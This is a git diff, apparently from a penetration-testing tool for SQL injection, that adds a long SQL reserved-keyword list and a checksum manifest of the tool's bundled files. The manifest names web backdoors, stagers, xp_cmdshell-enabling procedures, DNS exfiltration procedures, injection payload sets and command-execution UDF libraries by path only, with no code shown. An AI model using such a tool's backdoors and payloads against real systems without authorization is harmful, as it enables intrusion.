+INITIAL_SIZE
+INITIATE
+INNER
+INOUT
+INSENSITIVE
+INSERT
+INSERT_METHOD
+INSTALL
+INSTANCE
+INT
+INT1
+INT2
+INT3
+INT4
+INT8
+INTEGER
+INTERSECT
+INTERVAL
+INTO
+INVISIBLE
+INVOKER
+IO
+IO_AFTER_GTIDS
+IO_BEFORE_GTIDS
+IO_THREAD
+IPC
+IS
+ISOLATION
+ISSUER
+ITERATE
+JOIN
+JSON
+JSON_TABLE
+JSON_VALUE
+KEY
+KEYRING
+KEYS
+KEY_BLOCK_SIZE
+KILL
+LAG
+LANGUAGE
+LAST
+LAST_VALUE
+LATERAL
+LEAD
+LEADING
+LEAVE
+LEAVES
+LEFT
+LESS
+LEVEL
+LIKE
+LIMIT
+LINEAR
+LINES
+LINESTRING
+LIST
+LOAD
+LOCAL
+LOCALTIME
+LOCALTIMESTAMP
+LOCK
+LOCKED
+LOCKS
+LOGFILE
+LOGS
+LONG
+LONGBLOB
+LONGTEXT
+LOOP
+LOW_PRIORITY
+MASTER
+MASTER_AUTO_POSITION
+MASTER_BIND
+MASTER_COMPRESSION_ALGORITHMS
+MASTER_CONNECT_RETRY
+MASTER_DELAY
+MASTER_HEARTBEAT_PERIOD
+MASTER_HOST
+MASTER_LOG_FILE
+MASTER_LOG_POS
+MASTER_PASSWORD
+MASTER_PORT
+MASTER_PUBLIC_KEY_PATH
+MASTER_RETRY_COUNT
+MASTER_SERVER_ID
+MASTER_SSL
+MASTER_SSL_CA
+MASTER_SSL_CAPATH
+MASTER_SSL_CERT
+MASTER_SSL_CIPHER
+MASTER_SSL_CRL
+MASTER_SSL_CRLPATH
+MASTER_SSL_KEY
+MASTER_SSL_VERIFY_SERVER_CERT
+MASTER_TLS_CIPHERSUITES
+MASTER_TLS_VERSION
+MASTER_USER
+MASTER_ZSTD_COMPRESSION_LEVEL
+MATCH
+MAXVALUE
+MAX_CONNECTIONS_PER_HOUR
+MAX_QUERIES_PER_HOUR
+MAX_ROWS
+MAX_SIZE
+MAX_UPDATES_PER_HOUR
+MAX_USER_CONNECTIONS
+MEDIUM
+MEDIUMBLOB
+MEDIUMINT
+MEDIUMTEXT
+MEMBER
+MEMORY
+MERGE
+MESSAGE_TEXT
+MICROSECOND
+MIDDLEINT
+MIGRATE
+MINUTE
+MINUTE_MICROSECOND
+MINUTE_SECOND
+MIN_ROWS
+MOD
+MODE
+MODIFIES
+MODIFY
+MONTH
+MULTILINESTRING
+MULTIPOINT
+MULTIPOLYGON
+MUTEX
+MYSQL_ERRNO
+NAME
+NAMES
+NATIONAL
+NATURAL
+NCHAR
+NDB
+NDBCLUSTER
+NESTED
+NETWORK_NAMESPACE
+NEVER
+NEW
+NEXT
+NO
+NODEGROUP
+NONE
+NOT
+NOWAIT
+NO_WAIT
+NO_WRITE_TO_BINLOG
+NTH_VALUE
+NTILE
+NULL
+NULLS
+NUMBER
+NUMERIC
+NVARCHAR
+OF
+OFF
+OFFSET
+OJ
+OLD
+ON
+ONE
+ONLY
+OPEN
+OPTIMIZE
+OPTIMIZER_COSTS
+OPTION
+OPTIONAL
+OPTIONALLY
+OPTIONS
+OR
+ORDER
+ORDINALITY
+ORGANIZATION
+OTHERS
+OUT
+OUTER
+OUTFILE
+OVER
+OWNER
+PACK_KEYS
+PAGE
+PARSER
+PARTIAL
+PARTITION
+PARTITIONING
+PARTITIONS
+PASSWORD_LOCK_TIME
+PATH
+PERCENT_RANK
+PERSIST
+PERSIST_ONLY
+PHASE
+PLUGIN
+PLUGINS
+PLUGIN_DIR
+POINT
+POLYGON
+PORT
+PRECEDES
+PRECEDING
+PRECISION
+PREPARE
+PRESERVE
+PREV
+PRIMARY
+PRIVILEGES
+PRIVILEGE_CHECKS_USER
+PROCEDURE
+PROCESS
+PROCESSLIST
+PROFILE
+PROFILES
+PROXY
+PURGE
+QUARTER
+QUERY
+QUICK
+RANDOM
+RANGE
+RANK
+READ
+READS
+READ_ONLY
+READ_WRITE
+REAL
+REBUILD
+RECOVER
+RECURSIVE
+REDOFILE
+REDO_BUFFER_SIZE
+REDUNDANT
+REFERENCE
+REFERENCES
+REGEXP
+REGISTRATION
+RELAY
+RELAYLOG
+RELAY_LOG_FILE
+RELAY_LOG_POS
+RELAY_THREAD
+RELEASE
+RELOAD
+REMOTE
+REMOVE
+RENAME
+REORGANIZE
+REPAIR
+REPEAT
+REPEATABLE
+REPLACE
+REPLICA
+REPLICAS
+REPLICATE_DO_DB
+REPLICATE_DO_TABLE
+REPLICATE_IGNORE_DB
+REPLICATE_IGNORE_TABLE
+REPLICATE_REWRITE_DB
+REPLICATE_WILD_DO_TABLE
+REPLICATE_WILD_IGNORE_TABLE
+REPLICATION
+REQUIRE
+REQUIRE_ROW_FORMAT
+RESET
+RESIGNAL
+RESOURCE
+RESPECT
+RESTART
+RESTORE
+RESTRICT
+RESUME
+RETAIN
+RETURN
+RETURNED_SQLSTATE
+RETURNING
+RETURNS
+REUSE
+REVERSE
+REVOKE
+RIGHT
+RLIKE
+ROLE
+ROLLBACK
+ROLLUP
+ROTATE
+ROUTINE
+ROW
+ROWS
+ROW_COUNT
+ROW_FORMAT
+ROW_NUMBER
+RTREE
+SAVEPOINT
+SCHEDULE
+SCHEMA
+SCHEMAS
+SCHEMA_NAME
+SECOND
+SECONDARY
+SECONDARY_ENGINE
+SECONDARY_ENGINE_ATTRIBUTE
+SECONDARY_LOAD
+SECONDARY_UNLOAD
+SECOND_MICROSECOND
+SECURITY
+SELECT
+SENSITIVE
+SEPARATOR
+SERIAL
+SERIALIZABLE
+SERVER
+SESSION
+SET
+SHARE
+SHOW
+SHUTDOWN
+SIGNAL
+SIGNED
+SIMPLE
+SKIP
+SLAVE
+SLOW
+SMALLINT
+SNAPSHOT
+SOCKET
+SOME
+SONAME
+SOUNDS
+SOURCE
+SOURCE_AUTO_POSITION
+SOURCE_BIND
+SOURCE_COMPRESSION_ALGORITHMS
+SOURCE_CONNECT_RETRY
+SOURCE_DELAY
+SOURCE_HEARTBEAT_PERIOD
+SOURCE_HOST
+SOURCE_LOG_FILE
+SOURCE_LOG_POS
+SOURCE_PASSWORD
+SOURCE_PORT
+SOURCE_PUBLIC_KEY_PATH
+SOURCE_RETRY_COUNT
+SOURCE_SSL
+SOURCE_SSL_CA
+SOURCE_SSL_CAPATH
+SOURCE_SSL_CERT
+SOURCE_SSL_CIPHER
+SOURCE_SSL_CRL
+SOURCE_SSL_CRLPATH
+SOURCE_SSL_KEY
+SOURCE_SSL_VERIFY_SERVER_CERT
+SOURCE_TLS_CIPHERSUITES
+SOURCE_TLS_VERSION
+SOURCE_USER
+SOURCE_ZSTD_COMPRESSION_LEVEL
+SPATIAL
+SPECIFIC
+SQL
+SQLEXCEPTION
+SQLSTATE
+SQLWARNING
+SQL_AFTER_GTIDS
+SQL_AFTER_MTS_GAPS
+SQL_BEFORE_GTIDS
+SQL_BIG_RESULT
+SQL_BUFFER_RESULT
+SQL_CACHE
+SQL_CALC_FOUND_ROWS
+SQL_NO_CACHE
+SQL_SMALL_RESULT
+SQL_THREAD
+SQL_TSI_DAY
+SQL_TSI_HOUR
+SQL_TSI_MINUTE
+SQL_TSI_MONTH
+SQL_TSI_QUARTER
+SQL_TSI_SECOND
+SQL_TSI_WEEK
+SQL_TSI_YEAR
+SRID
+SSL
+STACKED
+START
+STARTING
+STARTS
+STATS_AUTO_RECALC
+STATS_PERSISTENT
+STATS_SAMPLE_PAGES
+STATUS
+STOP
+STORAGE
+STORED
+STRAIGHT_JOIN
+STREAM
+STRING
+SUBCLASS_ORIGIN
+SUBJECT
+SUBPARTITION
+SUBPARTITIONS
+SUPER
+SUSPEND
+SWAPS
+SWITCHES
+SYSTEM
+TABLE
+TABLES
+TABLESPACE
+TABLE_CHECKSUM
+TABLE_NAME
+TEMPORARY
+TEMPTABLE
+TERMINATED
+TEXT
+THAN
+THEN
+THREAD_PRIORITY
+TIES
+TIME
+TIMESTAMP
+TIMESTAMPADD
+TIMESTAMPDIFF
+TINYBLOB
+TINYINT
+TINYTEXT
+TLS
+TO
+TRAILING
+TRANSACTION
+TRIGGER
+TRIGGERS
+TRUE
+TRUNCATE
+TYPE
+TYPES
+UNBOUNDED
+UNCOMMITTED
+UNDEFINED
+UNDO
+UNDOFILE
+UNDO_BUFFER_SIZE
+UNICODE
+UNINSTALL
+UNION
+UNIQUE
+UNKNOWN
+UNLOCK
+UNREGISTER
+UNSIGNED
+UNTIL
+UPDATE
+UPGRADE
+URL
+USAGE
+USE
+USER
+USER_RESOURCES
+USE_FRM
+USING
+UTC_DATE
+UTC_TIME
+UTC_TIMESTAMP
+VALIDATION
+VALUE
+VALUES
+VARBINARY
+VARCHAR
+VARCHARACTER
+VARIABLES
+VARYING
+VCPU
+VIEW
+VIRTUAL
+VISIBLE
+WAIT
+WARNINGS
+WEEK
+WEIGHT_STRING
+WHEN
+WHERE
+WHILE
+WINDOW
+WITH
+WITHOUT
+WORK
+WRAPPER
+WRITE
+X509
+XA
+XID
+XML
+XOR
+YEAR
+YEAR_MONTH
+ZEROFILL
+ZONE
+
+# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
+
+ABS
+ACOS
+ALL
+ALLOCATE
+ALTER
+ANALYSE
+ANALYZE
+AND
+ANY
+ARE
+ARRAY
+ARRAY_AGG
+ARRAY_MAX_CARDINALITY
+AS
+ASC
+ASENSITIVE
+ASIN
+ASYMMETRIC
+AT
+ATAN
+ATOMIC
+AUTHORIZATION
+AVG
+BEGIN
+BEGIN_FRAME
+BEGIN_PARTITION
+BETWEEN
+BIGINT
+BINARY
+BLOB
+BOOLEAN
+BOTH
+BY
+CALL
+CALLED
+CARDINALITY
+CASCADED
+CASE
+CAST
+CEIL
+CEILING
+CHAR
+CHARACTER
+CHARACTER_LENGTH
+CHAR_LENGTH
+CHECK
+CLASSIFIER
+CLOB
+CLOSE
+COALESCE
+COLLATE
+COLLATION
+COLLECT
+COLUMN
+COMMIT
+CONCURRENTLY
+CONDITION
+CONNECT
+CONSTRAINT
+CONTAINS
+CONVERT
+COPY
+CORR
+CORRESPONDING
+COS
+COSH
+COUNT
+COVAR_POP
+COVAR_SAMP
+CREATE
+CROSS
+CUBE
+CUME_DIST
+CURRENT
+CURRENT_CATALOG
+CURRENT_DATE
+CURRENT_DEFAULT_TRANSFORM_GROUP
+CURRENT_PATH
+CURRENT_ROLE
+CURRENT_ROW
+CURRENT_SCHEMA
+CURRENT_TIME
+CURRENT_TIMESTAMP
+CURRENT_TRANSFORM_GROUP_FOR_TYPE
+CURRENT_USER
+CURSOR
+CYCLE
+DATALINK
+DATE
+DAY
+DEALLOCATE
+DEC
+DECFLOAT
+DECIMAL
+DECLARE
+DEFAULT
+DEFERRABLE
+DEFINE
+DELETE
+DENSE_RANK
+DEREF
+DESC
+DESCRIBE
+DETERMINISTIC
+DISCONNECT
+DISTINCT
+DLNEWCOPY
+DLPREVIOUSCOPY
+DLURLCOMPLETE
+DLURLCOMPLETEONLY
+DLURLCOMPLETEWRITE
+DLURLPATH
+DLURLPATHONLY
+DLURLPATHWRITE
+DLURLSCHEME
+DLURLSERVER
+DLVALUE
+DO
+DOUBLE
+DROP
+DYNAMIC
+EACH
+ELEMENT
+ELSE
+EMPTY
+END
+END-EXEC
+END_FRAME
+END_PARTITION
+EQUALS
+ESCAPE
+EVERY
+EXCEPT
+EXEC
+EXECUTE
+EXISTS
+EXP
+EXTERNAL
+EXTRACT
+FALSE
+FETCH
+FILTER
+FIRST_VALUE
+FLOAT
+FLOOR
+FOR
+FOREIGN
+FRAME_ROW
+FREE
+FREEZE
+FROM
+FULL
+FUNCTION
+FUSION
+GET
+GLOBAL
+GRANT
+GROUP
+GROUPING
+GROUPS
+HAVING
+HOLD
+HOUR
+IDENTITY
+ILIKE
+IMPORT
+IN
+INDICATOR
+INITIAL
+INITIALLY
+INNER
+INOUT
+INSENSITIVE
+INSERT
+INT
+INTEGER
+INTERSECT
+INTERSECTION
+INTERVAL
+INTO
+IS
+ISNULL
+JOIN
+JSON_ARRAY
+JSON_ARRAYAGG
+JSON_EXISTS
+JSON_OBJECT
+JSON_OBJECTAGG
+JSON_QUERY
+JSON_TABLE
+JSON_TABLE_PRIMITIVE
+JSON_VALUE
+LAG
+LANGUAGE
+LARGE
+LAST_VALUE
+LATERAL
+LEAD
+LEADING
+LEFT
+LIKE
+LIKE_REGEX
+LIMIT
+LISTAGG
+LN
+LOCAL
+LOCALTIME
+LOCALTIMESTAMP
+LOG
+LOG10
+LOWER
+MATCH
+MATCHES
+MATCH_NUMBER
+MATCH_RECOGNIZE
+MAX
+MEASURES
+MEMBER
+MERGE
+METHOD
+MIN
+MINUTE
+MOD
+MODIFIES
+MODULE
+MONTH
+MULTISET
+NATIONAL
+NATURAL
+NCHAR
+NCLOB
+NEW
+NO
+NONE
+NORMALIZE
+NOT
+NOTNULL
+NTH_VALUE
+NTILE
+NULL
+NULLIF
+NUMERIC
+OCCURRENCES_REGEX
+OCTET_LENGTH
+OF
+OFFSET
+OLD
+OMIT
+ON
+ONE
+ONLY
+OPEN
+OR
+ORDER
+OUT
+OUTER
+OVER
+OVERLAPS
+OVERLAY
+PARAMETER
+PARTITION
+PATTERN
+PER
+PERCENT
+PERCENTILE_CONT
+PERCENTILE_DISC
+PERCENT_RANK
+PERIOD
+PERMUTE
+PLACING
+PORTION
+POSITION
+POSITION_REGEX
+POWER
+PRECEDES
+PRECISION
+PREPARE
+PRIMARY
+PROCEDURE
+PTF
+RANGE
+RANK
+READS
+REAL
+RECURSIVE
+REF
+REFERENCES
+REFERENCING
+REGR_AVGX
+REGR_AVGY
+REGR_COUNT
+REGR_INTERCEPT
+REGR_R2
+REGR_SLOPE
+REGR_SXX
+REGR_SXY
+REGR_SYY
+RELEASE
+RESULT
+RETURN
+RETURNING
+RETURNS
+REVOKE
+RIGHT
+ROLLBACK
+ROLLUP
+ROW
+ROWS
+ROW_NUMBER
+RUNNING
+SAVEPOINT
+SCOPE
+SCROLL
+SEARCH
+SECOND
+SEEK
+SELECT
+SENSITIVE
+SESSION_USER
+SET
+SHOW
+SIMILAR
+SIN
+SINH
+SKIP
+SMALLINT
+SOME
+SPECIFIC
+SPECIFICTYPE
+SQL
+SQLEXCEPTION
+SQLSTATE
+SQLWARNING
+SQRT
+START
+STATIC
+STDDEV_POP
+STDDEV_SAMP
+SUBMULTISET
+SUBSET
+SUBSTRING
+SUBSTRING_REGEX
+SUCCEEDS
+SUM
+SYMMETRIC
+SYSTEM
+SYSTEM_TIME
+SYSTEM_USER
+TABLE
+TABLESAMPLE
+TAN
+TANH
+THEN
+TIME
+TIMESTAMP
+TIMEZONE_HOUR
+TIMEZONE_MINUTE
+TO
+TRAILING
+TRANSLATE
+TRANSLATE_REGEX
+TRANSLATION
+TREAT
+TRIGGER
+TRIM
+TRIM_ARRAY
+TRUE
+TRUNCATE
+UESCAPE
+UNION
+UNIQUE
+UNKNOWN
+UNMATCHED
+UNNEST
+UPDATE
+UPPER
+USER
+USING
+VALUE
+VALUES
+VALUE_OF
+VARBINARY
+VARCHAR
+VARIADIC
+VARYING
+VAR_POP
+VAR_SAMP
+VERBOSE
+VERSIONING
+WHEN
+WHENEVER
+WHERE
+WIDTH_BUCKET
+WINDOW
+WITH
+WITHIN
+WITHOUT
+XML
+XMLAGG
+XMLATTRIBUTES
+XMLBINARY
+XMLCAST
+XMLCOMMENT
+XMLCONCAT
+XMLDOCUMENT
+XMLELEMENT
+XMLEXISTS
+XMLFOREST
+XMLITERATE
+XMLNAMESPACES
+XMLPARSE
+XMLPI
+XMLQUERY
+XMLSERIALIZE
+XMLTABLE
+XMLTEXT
+XMLVALIDATE
+YEAR
+
+# Misc
+
+ORD
+MID
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
new file mode 100644
index 00000000000..623d6e697bf
--- /dev/null
+++ b/data/txt/sha256sums.txt
@@ -0,0 +1,637 @@
+e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql
+6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql
+798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql
+5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql
+3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
+afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql
+657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
+1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql
+9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql
+02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql
+02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql
+606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql
+4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql
+7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt
+519431a555205974e7b12b5ecb8d6fb03a504fbb4a6a410db8874a9bfcff6890 data/shell/backdoors/backdoor.asp_
+fbb0e5456bc80923d0403644371167948cefc8e95c95a98dc845bc6355e3718f data/shell/backdoors/backdoor.aspx_
+01695090da88b7e71172e3b97293196041e452bbb7b2ba9975b4fac7231e00a5 data/shell/backdoors/backdoor.cfm_
+03117933dcc9bfc24098e1e0191195fc4bafb891f0752edee28be1741894e0e5 data/shell/backdoors/backdoor.jsp_
+2505011f6dcf4c1725840ce495c3b3e4172217286f5ce2a0819c7a64ce35d9df data/shell/backdoors/backdoor.php_
+a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt
+a4d49b7c1b43486d21f7d0025174b45e0608f55c110c6e9af8148478daec73d1 data/shell/stagers/stager.asp_
+1b21206f9d35b829fdf9afa17ea5873cd095558f05e644d56b39d560dfa62b6e data/shell/stagers/stager.aspx_
+8a149f77137fc427e397ec2c050e4028d45874234bc40a611a00403799e2dc0b data/shell/stagers/stager.cfm_
+c3a595fc1746ee07dbc0592ba7d5e207e6110954980599f63b8156d1d277f8ca data/shell/stagers/stager.jsp_
+82bcebc46ed3218218665794197625c668598eb7e861dd96e4f731a27b18a701 data/shell/stagers/stager.php_
+eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt
+63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt
+9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt
+44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt
+ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt
+522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt
+6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt
+9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_
+e3007876d35a153d9a107955fad3f6c338d3733210317b1f359417e8297595aa data/udf/mysql/linux/32/lib_mysqludf_sys.so_
+77f7e7b6cfde4bae8d265f81792c04c4d2b2966328cbf8affb4f980dec2b9d91 data/udf/mysql/linux/64/lib_mysqludf_sys.so_
+52b41ab911f940c22b7490f1d80f920c861e7a6c8c25bb8d3a765fd8af0c34a0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
+ea6592dbe61e61f52fd6ab7082722733197fa8f3e6bec0a99ca25aff47c15cff data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
+c58dd9b9fa27df0a730802bd49e36a5a3ccd59611fc1c61b8e85f92e14ac2a88 data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
+b6fdcfcafbbc5da34359604a69aaa9f8459a7e6e319f7b2ee128e762e84d1643 data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
+8d22d8b06ce253ae711c6a71b4ed98c7ad5ad1001a3dafb30802ec0b9b325013 data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
+812374d50a672a9d07faba1be9a13cfb84a369894dc7c702991382bb9558be9d data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
+5b816a33d9c284e62f1ea707e07b10be5efd99db5762d7bd60c6360dd2e70d8f data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
+cf5b9986fd70f6334bd00e8efcf022571089b8384b650245fb352ec18e48acdf data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
+445c05dac6714a64777892a372b0e3c93eee651162a402658485c48439390ad2 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
+1c86d2358c20384ac92d333444b955a01ee97f28caac35ed39fdb654d5f93c1b data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
+050ff4692a04dc00b7e6ac187a56be47b5a654ccf907ffa9f9446194763ae7e5 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
+7806d4c6865c7ebed677ae8abe302ca687c8f9f5b5287b89fed27a36beeeb232 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
+cfa2a8fc26430cbc11ad0bd37609c753d4ca1eecb0472efe3518185d2d13e7cf data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
+d2210ad9260bd22017acc519a576595306842240f24d8b4899a23228a70f78c6 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
+6311d919f6ff42c959d0ce3bc6dd5cb782f79f77857e9ab3bd88c2c365e5f303 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
+4520fc47ea6e0136e03ba9b2eb94161da328f340bf6fbebad39ca82b3b3e323b data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
+bad0bb94ec75b2912d8028f7afdfd70a96c8f86cbc10040c72ece3fd5244660d data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
+b8132a5fe67819ec04dbe4e895addf7e9f111cfe4810a0c94b68002fd48b5deb data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
+03f3b12359a1554705eab46fb04dba63086beb5e2b20f97b108164603efdcb65 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
+e5be1341a84b1a14c4c648feec02418acb904cd96d7cf0f66ec3ff0c117baf91 data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
+28113b48848ba7d22955a060a989f5ae4f14183b1fc64b67898095610176098c data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
+1187045f66f101c89678791960dc37ca5663cf4190ca7dc550753f028ec61a88 data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
+2259cd7e3f6ff057bbbb6766efc6818a59dbf262bfadefd9fda31746903c7501 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
+1fdb0856443b56bf9e3e8c7d195171327217af745ad2e299c475d96892a07ec9 data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
+21e274e6c49cc444d689cb34a83497f982ed2b2850cab677dc059aea9e397870 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
+6707132e4e812ad23cc22ff26e411e89f1eb8379a768161b410202c5442ff3ea data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
+0989c0c0143fb515a12a8b5064f014c633d13a8841aeceaf02ff46901f17805f data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
+3a492e9a1da0799d1107aa5949538303d06409c9a0ed00499626a08083d486ee data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
+3eab7d90606c3c0a9a88e1475e6d8d7d787b3b109c7e188cb9cb8b5561a6766e data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
+a1fe84c5b409366c3926f3138189fb17e7388ef09594a47c9d64e4efe9237a4b data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
+7368a6301369a63e334d829a1d7f6e0b55a824a9f1579dfeb7ced5745994ebc6 data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
+0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt
+288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551 data/xml/banner/generic.xml
+2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml
+14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb data/xml/banner/mysql.xml
+6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml
+9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml
+86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml
+146887f28e3e19861516bca551e050ce81a1b8d6bb69fd342cc1f19a25849328 data/xml/banner/servlet-engine.xml
+8af6b979b6e0a01062dc740ae475ba6be90dc10bb3716a45d28ada56e81f9648 data/xml/banner/set-cookie.xml
+a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml
+e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml
+3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml
+0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml
+02a7f6d6a0e023c3f087f78ab49cfb99e81df2b42e32718f877d90ab220486dc data/xml/errors.xml
+d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml
+88b8931a6d19af14e44a82408c250ed89295947575bbf3ff3047da1d37d1a1c1 data/xml/payloads/error_based.xml
+b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml
+0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml
+997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml
+40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml
+a2a2d3f8bf506f27ab0847ad4daa1fc41ca781dd58b70d2d9ac1360cf8151260 data/xml/queries.xml
+0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS
+ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md
+c8d5733111c6d1e387904bc14e98815f98f816f6e73f6a664de24c0f1d331d9b doc/THANKS.md
+d7e38b213c70fe519fff2e06a9fd0dcfb1d8bed7787e37916cd14faaf002e167 doc/THIRD-PARTY.md
+25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8 doc/translations/README-ar-AR.md
+c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md
+e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md
+00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9 doc/translations/README-ckb-KU.md
+f0bd369125459b81ced692ece2fe36c8b042dc007b013c31f2ea8c97b1f95c32 doc/translations/README-de-DE.md
+163f1c61258ee701894f381291f8f00a307fe0851ddd45501be51a8ace791b44 doc/translations/README-es-MX.md
+70d04bf35b8931c71ad65066bb5664fd48062c05d0461b887fdf3a0a8e0fab1d doc/translations/README-fa-IR.md
+a55afae7582937b04bedf11dd13c62d0c87dedae16fcbcbd92f98f04a45c2bdf doc/translations/README-fr-FR.md
+f4b8bd6cc8de08188f77a6aa780d913b5828f38ca1d5ef05729270cf39f9a3b8 doc/translations/README-gr-GR.md
+bb8ca97c1abf4cf2ba310d858072276b4a731d2d95b461d4d77e1deca7ccbd8e doc/translations/README-hr-HR.md
+27ecf8e38762b2ef5a6d48e59a9b4a35d43b91d7497f60027b263091acb067c6 doc/translations/README-id-ID.md
+830a33cddd601cb1735ced46bbad1c9fbf1ed8bea1860d9dfa15269ef8b3a11c doc/translations/README-in-HI.md
+40fc19ac5e790ee334732dd10fd8bd62be57f2203bd94bbd08e6aa8e154166e2 doc/translations/README-it-IT.md
+379a338a94762ff485305b79afaa3c97cb92deb4621d9055b75142806d487bf5 doc/translations/README-ja-JP.md
+754ce5f3be4c08d5f6ec209cc44168521286ce80f175b9ca95e053b9ec7d14d2 doc/translations/README-ka-GE.md
